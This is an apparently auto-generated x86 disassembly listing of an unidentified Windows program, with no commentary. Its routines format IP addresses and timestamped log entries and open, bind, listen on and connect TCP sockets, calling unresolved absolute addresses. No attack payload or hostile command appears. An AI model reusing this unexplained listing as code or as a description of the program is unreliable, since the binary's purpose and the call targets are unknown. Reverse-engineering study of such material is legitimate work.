arg_0 = byte ptr 4
arg_3 = dword ptr 7
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
mov eax, [esp+arg_3]
sub esp, 20h
mov edx, [esp+25h]
and eax, 0FFh
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, [esp+32h]
mov ebx, [esp+2Ch+arg_8]
mov ebp, [esp+2Ch+arg_3+1]
push eax
mov eax, [esp+34h]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push ebx
push ebp
nop
call near ptr 77C3FA76h
mov ecx, [esi+32h]
add esp, 1Ch
mov al, [ecx+4]
test al, al
jnz short loc_419850
mov al, [esp+2Ch+arg_C]
test al, al
jnz short loc_41981E
mov eax, [esp+30h]
test eax, eax
jz short loc_41981E
push 2
lea edx, [esp+30h+arg_0]
push 4
push edx
nop
call near ptr 71ABE479h
test eax, eax
jz short loc_419850
mov eax, [eax]
push ebx
push eax
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
; ---------------------------------------------------------------------------
loc_41981E: ; CODE XREF: sub_419790+5Aj
; sub_419790+62j
push edi
mov ecx, 7
xor eax, eax
lea edi, [esp+30h+var_20]
rep stosd
lea ecx, [esp+30h+var_20]
push 1Dh
push ecx
stosw
call near ptr 71AB50C8h
nop
test eax, eax
pop edi
jnz short loc_419850
lea edx, [esp+2Ch+var_20]
push ebx
push edx
push ebp
nop
call near ptr 77C47A90h
add esp, 0Ch
loc_419850: ; CODE XREF: sub_419790+52j
; sub_419790+75j ...
pop esi
pop ebp
pop ebx
add esp, 20h
retn 10h
sub_419790 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4198A0 proc near ; CODE XREF: sub_401EECj
nop
call near ptr 27F08B4h
push eax
nop
call near ptr 77C371BCh
pop ecx
retn
sub_4198A0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4198C0 proc near ; CODE XREF: sub_4021A3j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
nop
call near ptr 77C371D3h
mov esi, [esp+8+arg_0]
mov [esp+8+var_4], eax
mov eax, [esp+8+arg_4]
fild [esp+8+var_4]
sub eax, esi
mov [esp+8+arg_4], eax
fimul [esp+8+arg_4]
fmul dbl_43E0B0
call sub_4368EA
sub_4198C0 endp
; ---------------------------------------------------------------------------
sub esi, eax
mov eax, esi
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419910: ; CODE XREF: ___:00401C85j
call near ptr 77C371D3h
nop
cdq
idiv dword ptr [esp+4]
mov eax, edx
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
locret_419930: ; CODE XREF: ___:0040151Ej
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419950: ; CODE XREF: ___:00401FC3j
xor al, al
retn 4
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419970 proc near ; CODE XREF: sub_401523j
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
mov ecx, [esp+arg_4]
mov edx, [esp+arg_8]
cmp eax, 1
setnl al
mov byte ptr [esp+arg_C], al
push ecx
mov eax, [esp+4+arg_C]
push edx
push eax
push 0
mov ecx, offset byte_4D60B5
call sub_401118
retn
sub_419970 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4199B0: ; CODE XREF: ___:00401505j
sub esp, 0Ch
mov eax, [esp+20h]
push ebx
push ebp
push esi
xor esi, esi
push edi
cmp eax, esi
mov dword ptr [esp+18h], 80h
mov [esp+10h], esi
jz short loc_4199E3
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, esi
mov [esp+10h], eax
jz short loc_4199E3
mov [esp+18h], eax
loc_4199E3: ; CODE XREF: ___:004199CBj
; ___:004199DDj
mov edi, [esp+28h]
mov ebx, [esp+24h]
mov ebp, [esp+20h]
mov [esp+14h], esi
mov esi, offset dword_506E6C
loc_4199F8: ; CODE XREF: ___:00419A49j
mov ecx, [esp+14h]
mov eax, [esp+18h]
cmp ecx, eax
jge short loc_419A4B
cmp byte ptr [esi], 0
jz short loc_419A34
mov eax, [esp+30h]
test eax, eax
jz short loc_419A28
mov ecx, [esp+10h]
test ecx, ecx
jnz short loc_419A28
push eax
push esi
call near ptr 77C47C60h
nop
add esp, 8
test eax, eax
jz short loc_419A34
loc_419A28: ; CODE XREF: ___:00419A0Fj
; ___:00419A17j
push edi
push esi
push ebx
push ebp
call sub_401523
add esp, 10h
loc_419A34: ; CODE XREF: ___:00419A07j
; ___:00419A26j
mov edx, [esp+14h]
add esi, 80h
inc edx
cmp esi, offset dword_50AE6C
mov [esp+14h], edx
jl short loc_4199F8
loc_419A4B: ; CODE XREF: ___:00419A02j
pop edi
pop esi
pop ebp
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: ___:00402266j
push ebx
mov ebx, dword_50FAF8
push esi
push edi
mov edi, [esp+10h]
mov esi, offset dword_506E6C
loc_419AA2: ; CODE XREF: ___:00419ABEj
cmp byte ptr [esi], 0
jz short loc_419AB2
push edi
push esi
call ebx ; dword_50FAF8
add esp, 8
test eax, eax
jnz short loc_419AC6
loc_419AB2: ; CODE XREF: ___:00419AA5j
add esi, 80h
cmp esi, offset dword_50AE6C
jl short loc_419AA2
pop edi
pop esi
xor eax, eax
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419AC6: ; CODE XREF: ___:00419AB0j
pop edi
pop esi
mov eax, 1
pop ebx
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419AE0 proc near ; CODE XREF: sub_4010D2j
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
lea eax, [esp+10h+var_10]
push esi
push edi
push eax
call near ptr 27C0000h
nop
mov edi, dword_50FAFC
mov esi, offset dword_50AE6C
loc_419AFB: ; CODE XREF: sub_419AE0+3Bj
cmp byte ptr [esi], 0
jz short loc_419B0F
push 7Fh
lea ecx, [esi+80h]
push esi
push ecx
call edi ; dword_50FAFC
add esp, 0Ch
loc_419B0F: ; CODE XREF: sub_419AE0+1Ej
sub esi, 80h
cmp esi, offset dword_506E6C
jge short loc_419AFB
mov edx, [esp+18h+arg_0]
mov eax, [esp+18h+var_4]
mov ecx, [esp+12h]
push edx
mov edx, [esp+1Ch+var_8]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
mov eax, [esp+20h+var_10]
and edx, 0FFFFh
push ecx
mov ecx, [esp+1Ah]
push edx
mov edx, [esp+28h+var_10+2]
and eax, 0FFFFh
and ecx, 0FFFFh
push eax
and edx, 0FFFFh
push ecx
push edx
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push 80h
push offset dword_506E6C
nop
call near ptr 77C3FA76h
add esp, 28h
pop edi
pop esi
add esp, 10h
retn
sub_419AE0 endp
; ---------------------------------------------------------------------------
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419BB0: ; CODE XREF: ___:004012DAj
sub esp, 600h
mov ecx, 80h
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp+10h]
mov esi, [esp+614h]
rep stosd
mov ecx, 80h
lea edi, [esp+210h]
mov ebp, dword_50FAFC
push 1FFh
rep stosd
mov ecx, 80h
lea edi, [esp+414h]
rep stosd
lea eax, [esp+14h]
push esi
push eax
call ebp ; dword_50FAFC
mov edx, [esp+628h]
or ecx, 0FFFFFFFFh
mov edi, edx
xor eax, eax
add esp, 0Ch
repne scasb
not ecx
dec ecx
cmp ecx, 180h
jbe short loc_419C21
mov [edx+180h], al
loc_419C21: ; CODE XREF: ___:00419C19j
mov ebx, [esp+618h]
lea ecx, [esp+10h]
push ebx
push ecx
nop
call near ptr 77C47C60h
add esp, 8
test eax, eax
jz loc_419D32
loc_419C3F: ; CODE XREF: ___:00419D25j
lea edx, [esp+10h]
push ebx
push edx
nop
call near ptr 77C47C60h
mov esi, eax
mov edi, ebx
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push 1FFh
add ecx, esi
lea eax, [esp+41Ch]
push ecx
push eax
call ebp ; dword_50FAFC
lea ecx, [esp+24h]
push 1FFh
lea edx, [esp+228h]
push ecx
push edx
mov byte ptr [esi], 0
call ebp ; dword_50FAFC
lea edx, [esi+1]
add esp, 20h
test edx, edx
jz short loc_419D00
lea eax, [ebx-1]
test eax, eax
jz short loc_419D00
lea edi, [ebx-1]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, edx
mov esi, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp ecx, esi
jbe short loc_419CDD
mov edx, [esp+61Ch]
lea ecx, [esp+410h]
push ecx
lea eax, [esp+214h]
push edx
push eax
lea ecx, [esp+1Ch]
push offset aSSS ; "%s%s%s"
push ecx
nop
call sub_5EDAB2
add esp, 14h
jmp short loc_419D00
; ---------------------------------------------------------------------------
loc_419CDD: ; CODE XREF: ___:00419CAEj
mov edx, [esp+61Ch]
lea eax, [esp+210h]
push edx
push eax
lea ecx, [esp+18h]
push offset aSS_3 ; "%s%s"
push ecx
call sub_5EDAB2
nop
add esp, 10h
loc_419D00: ; CODE XREF: ___:00419C8Aj
; ___:00419C91j ...
mov edx, [esp+61Ch]
mov esi, dword_50FAF8
push edx
push ebx
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jnz short loc_419D2B
lea eax, [esp+10h]
push ebx
push eax
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jnz loc_419C3F
loc_419D2B: ; CODE XREF: ___:00419D16j
mov esi, [esp+614h]
loc_419D32: ; CODE XREF: ___:00419C39j
lea edi, [esp+10h]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
lea ecx, [esp+14h]
push ecx
push esi
call ebp ; dword_50FAFC
add esp, 0Ch
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 600h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419DD0: ; CODE XREF: ___:004018CFj
sub esp, 10h
push esi
push 0
push 1
push 2
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_419DEE
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419DEE: ; CODE XREF: ___:00419DE5j
mov ecx, [esp+18h]
xor eax, eax
mov [esp+4], eax
push ecx
mov [esp+0Ch], eax
mov word ptr [esp+8], 2
mov [esp+10h], eax
mov [esp+14h], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+4]
push 10h
push edx
push esi
mov [esp+12h], ax
mov dword ptr [esp+14h], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_419E39
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E39: ; CODE XREF: ___:00419E2Fj
push 7FFFFFFFh
push esi
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_419E51
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_419E51: ; CODE XREF: ___:00419E47j
mov eax, esi
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_419E90: ; CODE XREF: ___:00401E65j
push edi
xor edi, edi
mov eax, offset byte_4DE2E5
loc_419E98: ; CODE XREF: ___:00419EA8j
cmp dword ptr [eax], 0
jz short loc_419EAA
add eax, 316h
inc edi
cmp eax, offset byte_4E5E55
jle short loc_419E98
loc_419EAA: ; CODE XREF: ___:00419E9Bj
cmp edi, 13h
jle short loc_419EB4
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419EB4: ; CODE XREF: ___:00419EADj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4DE1EBh[eax*2]
mov eax, [esp+10h]
push eax
push esi
call ebx ; sub_5EDAB2
mov ecx, [esp+24h]
mov edx, [esp+1Ch]
mov eax, [esp+20h]
mov [esi+0FAh], ecx
mov ecx, [esp+28h]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5EDAB2
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419F50 proc near ; CODE XREF: sub_4013E8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push edi
xor edi, edi
mov eax, offset dword_4D6775
loc_419F58: ; CODE XREF: sub_419F50+18j
cmp dword ptr [eax], 0
jz short loc_419F6A
add eax, 316h
inc edi
cmp eax, offset byte_4DE2E5
jle short loc_419F58
loc_419F6A: ; CODE XREF: sub_419F50+Bj
cmp edi, 13h
jle short loc_419F74
or eax, 0FFFFFFFFh
pop edi
retn
; ---------------------------------------------------------------------------
loc_419F74: ; CODE XREF: sub_419F50+1Dj
lea eax, [edi+edi*4]
push ebx
shl eax, 4
sub eax, edi
mov ebx, off_50FBF0
push esi
lea eax, [eax+eax*4]
lea esi, ds:4D667Bh[eax*2]
mov eax, [esp+0Ch+arg_0]
push eax
push esi
call ebx ; sub_5EDAB2
mov ecx, [esp+14h+arg_C]
mov edx, [esp+14h+arg_4]
mov eax, [esp+14h+arg_8]
mov [esi+0FAh], ecx
mov ecx, [esp+14h+arg_10]
mov [esi+0FEh], edi
add esp, 8
mov [esi+106h], edx
mov [esi+10Ah], eax
add esi, 10Eh
push ecx
push esi
call ebx ; sub_5EDAB2
add esp, 8
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_419F50 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A010 proc near ; CODE XREF: sub_401C35j
var_190 = byte ptr -190h
arg_0 = byte ptr 4
sub esp, 190h
push ebp
mov ebp, ecx
push esi
push edi
mov dword ptr [ebp+0], offset off_43E0BC
mov eax, dword_50BB38
test eax, eax
jnz short loc_41A048
mov eax, dword_50BB38
inc eax
mov dword_50BB38, eax
lea ecx, [esp+19Ch+var_190]
push ecx
push 202h
call near ptr 71AB664Dh
nop
jmp short loc_41A055
; ---------------------------------------------------------------------------
loc_41A048: ; CODE XREF: sub_41A010+19j
mov edx, dword_50BB38
inc edx
mov dword_50BB38, edx
loc_41A055: ; CODE XREF: sub_41A010+36j
mov al, [esp+19Ch+arg_0]
or ecx, 0FFFFFFFFh
mov [ebp+80Ah], al
mov edi, offset byte_446F70
xor eax, eax
mov [ebp+806h], ecx
mov byte ptr [ebp+80Ch], 0
mov word ptr [ebp+4], 0
repne scasb
not ecx
sub edi, ecx
lea edx, [ebp+6]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebp
and ecx, 3
rep movsb
pop edi
mov byte ptr [ebp+80Bh], 0
pop esi
pop ebp
add esp, 190h
retn 4
sub_41A010 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A0E0 proc near ; CODE XREF: ___:004018D4j sub_401AF5j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401FC8
test [esp+4+arg_0], 1
jz short loc_41A0F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_41A0F8: ; CODE XREF: sub_41A0E0+Dj
mov eax, esi
pop esi
retn 4
sub_41A0E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A110 proc near ; CODE XREF: sub_401FC8j
mov al, [ecx+80Ah]
mov dword ptr [ecx], offset off_43E0BC
test al, al
jnz short loc_41A125
call sub_4014DD
loc_41A125: ; CODE XREF: sub_41A110+Ej
mov eax, 1
mov ecx, dword_50BB38
cmp ecx, eax
jle short loc_41A140
mov eax, dword_50BB38
dec eax
mov dword_50BB38, eax
locret_41A13F: ; CODE XREF: sub_41A110:loc_41A140j
retn
; ---------------------------------------------------------------------------
loc_41A140: ; CODE XREF: sub_41A110+22j
jnz short locret_41A13F
mov ecx, dword_50BB38
dec ecx
mov dword_50BB38, ecx
jmp near ptr 71AB4428h
sub_41A110 endp
; ---------------------------------------------------------------------------
dd 90909032h, 2 dup(90909090h), 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_41A180: ; CODE XREF: ___:004015A0j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43ACCB
push eax
mov large fs:0, esp
sub esp, 814h
push esi
mov esi, ecx
call sub_40195B
test al, al
jz loc_41A231
mov al, [esi+80Bh]
test al, al
jz short loc_41A1B9
mov al, 1
jmp short loc_41A231
; ---------------------------------------------------------------------------
loc_41A1B9: ; CODE XREF: ___:0041A1B3j
push ebx
push edi
mov edi, [esp+830h]
push 800h
lea eax, [esi+6]
push edi
push eax
nop
call near ptr 77C47A90h
mov ebx, [esp+840h]
add esp, 0Ch
lea ecx, [esp+0Ch]
mov [esi+4], bx
call sub_401186
mov ecx, [esp+83Ch]
mov edx, [esp+838h]
push ecx
push edx
push ebx
push edi
lea ecx, [esp+1Ch]
mov dword ptr [esp+838h], 0
call sub_401636
push eax
mov ecx, esi
call sub_4020C7
lea ecx, [esp+0Ch]
mov bl, al
mov dword ptr [esp+828h], 0FFFFFFFFh
call sub_40186B
mov al, bl
pop edi
pop ebx
loc_41A231: ; CODE XREF: ___:0041A1A5j
; ___:0041A1B7j
mov ecx, [esp+818h]
pop esi
mov large fs:0, ecx
add esp, 820h
retn 10h
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A290 proc near ; CODE XREF: sub_40195Bj
mov al, byte_443DD0
retn
sub_41A290 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A2B0 proc near ; CODE XREF: sub_4020C7j
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = byte ptr 10h
sub esp, 11Ch
push ebp
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A2D0
pop edi
pop esi
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A2D0: ; CODE XREF: sub_41A2B0+12j
mov al, [esi+80Bh]
test al, al
jnz loc_41A471
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A30A
mov ecx, esi
call sub_4014DD
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A30A: ; CODE XREF: sub_41A2B0+43j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A319
push 1
jmp short loc_41A31B
; ---------------------------------------------------------------------------
loc_41A319: ; CODE XREF: sub_41A2B0+63j
push 0
loc_41A31B: ; CODE XREF: sub_41A2B0+67j
mov ecx, esi
call sub_4018BB
mov edi, [esp+128h+arg_4]
xor eax, eax
mov [esp+128h+var_114], eax
push edi
mov [esp+12Ch+var_110], eax
mov [esi+4], di
mov [esp+12Ch+var_10C], eax
mov word ptr [esp+12Ch+var_114], 2
mov [esp+12Ch+var_108], eax
call near ptr 71AB2B66h
nop
mov ecx, [esp+128h+arg_0]
mov word ptr [esp+128h+var_114+2], ax
mov eax, [esi+806h]
lea edx, [esp+128h+var_114]
push 10h
push edx
push eax
mov [esp+134h+var_110], ecx
mov [esi+4], di
nop
call near ptr 71AB406Ah
mov ebp, dword_50FC44
test eax, eax
jge short loc_41A3BC
call ebp ; dword_50FC44
cmp eax, 2733h
jz short loc_41A3AD
call ebp ; dword_50FC44
cmp eax, 0Bh
jz short loc_41A3AD
call ebp ; dword_50FC44
cmp eax, 2733h
jz short loc_41A3AD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A3AD: ; CODE XREF: sub_41A2B0+D6j
; sub_41A2B0+DDj ...
mov al, byte ptr [esp+128h+arg_8]
test al, al
jnz loc_41A46A
loc_41A3BC: ; CODE XREF: sub_41A2B0+CDj
mov eax, [esi+806h]
xor ecx, ecx
lea edx, [esp+128h+var_11C]
mov edi, dword_50FC80
mov [esp+128h+var_11C], ecx
push edx
mov [esp+12Ch+var_118], ecx
push ecx
lea ecx, [esp+130h+var_104]
mov [esp+130h+var_100], eax
push ecx
inc eax
push 0
push eax
mov [esp+13Ch+var_11C], 0Ah
mov [esp+13Ch+var_104], 1
call edi ; dword_50FC80
test eax, eax
jge short loc_41A430
loc_41A3FB: ; CODE XREF: sub_41A2B0+17Ej
call ebp ; dword_50FC44
call ebp ; dword_50FC44
cmp eax, 4
jnz short loc_41A445
mov eax, [esp+128h+var_11C]
test eax, eax
jnz short loc_41A414
mov eax, [esp+128h+var_118]
test eax, eax
jz short loc_41A445
loc_41A414: ; CODE XREF: sub_41A2B0+15Aj
mov ecx, [esi+806h]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
inc ecx
push 0
push ecx
call edi ; dword_50FC80
test eax, eax
jl short loc_41A3FB
loc_41A430: ; CODE XREF: sub_41A2B0+149j
mov al, [esp+128h+arg_C]
test al, al
jnz short loc_41A461
mov edx, [esp+128h+arg_8]
push edx
jmp short loc_41A463
; ---------------------------------------------------------------------------
loc_41A445: ; CODE XREF: sub_41A2B0+152j
; sub_41A2B0+162j
mov ecx, esi
call sub_4014DD
mov byte ptr [esi+80Bh], 0
pop edi
pop esi
xor al, al
pop ebp
add esp, 11Ch
retn 10h
; ---------------------------------------------------------------------------
loc_41A461: ; CODE XREF: sub_41A2B0+189j
push 0
loc_41A463: ; CODE XREF: sub_41A2B0+193j
mov ecx, esi
call sub_4018BB
loc_41A46A: ; CODE XREF: sub_41A2B0+106j
mov byte ptr [esi+80Bh], 1
loc_41A471: ; CODE XREF: sub_41A2B0+28j
pop edi
pop esi
mov al, 1
pop ebp
add esp, 11Ch
retn 10h
sub_41A2B0 endp
; ---------------------------------------------------------------------------
db 90h
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A500 proc near ; CODE XREF: sub_4014DDj
push esi
mov esi, ecx
mov eax, [esi+806h]
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
cmp eax, 0FFFFFFFFh
jz short loc_41A51A
push eax
nop
call near ptr 71AB9639h
loc_41A51A: ; CODE XREF: sub_41A500+Cj
; sub_41A500+11j
mov ecx, esi
call sub_401375
mov byte ptr [esi+80Bh], 0
pop esi
retn
sub_41A500 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A540 proc near ; CODE XREF: sub_401375j
push ebp
mov edx, ecx
push esi
push edi
or ecx, 0FFFFFFFFh
mov edi, offset byte_446F70
xor eax, eax
mov [edx+806h], ecx
mov word ptr [edx+4], 0
lea ebp, [edx+6]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
mov byte ptr [edx+80Bh], 0
mov byte ptr [edx+80Ch], 0
pop ebp
retn
sub_41A540 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A5B0 proc near ; CODE XREF: sub_401488j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A5C6
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5C6: ; CODE XREF: sub_41A5B0+Dj
mov al, [esi+80Bh]
test al, al
jnz loc_41A67F
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+806h], eax
jnz short loc_41A5FB
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A5FB: ; CODE XREF: sub_41A5B0+39j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
nop
call near ptr 71AB2B66h
mov word ptr [esp+14h+var_10+2], ax
mov eax, [esi+806h]
lea edx, [esp+14h+var_10]
push 10h
push edx
push eax
mov [esp+20h+var_C], 0
call near ptr 71AB3E00h
nop
test eax, eax
jz short loc_41A654
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A654: ; CODE XREF: sub_41A5B0+92j
mov ecx, [esi+806h]
push 32h
push ecx
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_41A678
mov ecx, esi
call sub_4014DD
xor al, al
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
loc_41A678: ; CODE XREF: sub_41A5B0+B6j
mov byte ptr [esi+80Bh], 1
loc_41A67F: ; CODE XREF: sub_41A5B0+1Ej
mov al, 1
pop esi
add esp, 10h
retn 4
sub_41A5B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41A6D0 proc near ; CODE XREF: sub_401B81j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = byte ptr -114h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 120h
push esi
push edi
mov esi, ecx
call sub_40195B
test al, al
jnz short loc_41A6EE
pop edi
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A6EE: ; CODE XREF: sub_41A6D0+11j
mov al, [esi+80Bh]
test al, al
jnz short loc_41A705
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A705: ; CODE XREF: sub_41A6D0+26j
mov al, [esi+80Ch]
test al, al
jnz short loc_41A781
call sub_40195B
test al, al
jz short loc_41A774
mov edi, dword_50FC80
loc_41A71E: ; CODE XREF: sub_41A6D0+A2j
mov eax, [esi+806h]
lea ecx, [esp+128h+var_11C]
push ecx
mov [esp+12Ch+var_100], eax
push 0
lea edx, [esp+130h+var_104]
push 0
inc eax
push edx
push eax
mov [esp+13Ch+var_104], 1
mov [esp+13Ch+var_11C], 0
mov [esp+13Ch+var_118], 64h
call edi ; dword_50FC80
test eax, eax
jz short loc_41A76B
mov ecx, [esi+806h]
lea eax, [esp+128h+var_104]
push eax
push ecx
call sub_436F60
test eax, eax
jnz short loc_41A781
loc_41A76B: ; CODE XREF: sub_41A6D0+84j
call sub_40195B
test al, al
jnz short loc_41A71E
loc_41A774: ; CODE XREF: sub_41A6D0+46j
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A781: ; CODE XREF: sub_41A6D0+3Dj
; sub_41A6D0+99j
mov eax, [esp+128h+arg_4]
mov [esp+128h+var_120], 0FFFFFFFFh
test eax, eax
jz short loc_41A7A4
lea edx, [esp+128h+var_11C]
mov [esp+128h+var_11C], 10h
push edx
push eax
jmp short loc_41A7B6
; ---------------------------------------------------------------------------
loc_41A7A4: ; CODE XREF: sub_41A6D0+C2j
lea ecx, [esp+128h+var_11C]
lea edx, [esp+128h+var_114]
push ecx
mov [esp+12Ch+var_11C], 10h
push edx
loc_41A7B6: ; CODE XREF: sub_41A6D0+D2j
mov eax, [esi+806h]
push eax
call near ptr 71AC1028h
nop
cmp eax, 0FFFFFFFFh
mov [esp+128h+var_120], eax
jnz short loc_41A7D9
pop edi
xor al, al
pop esi
add esp, 120h
retn 0Ch
; ---------------------------------------------------------------------------
loc_41A7D9: ; CODE XREF: sub_41A6D0+FAj
mov esi, [esp+128h+arg_0]
lea ecx, [esp+128h+var_120]
push ecx
mov ecx, esi
call sub_4020EA
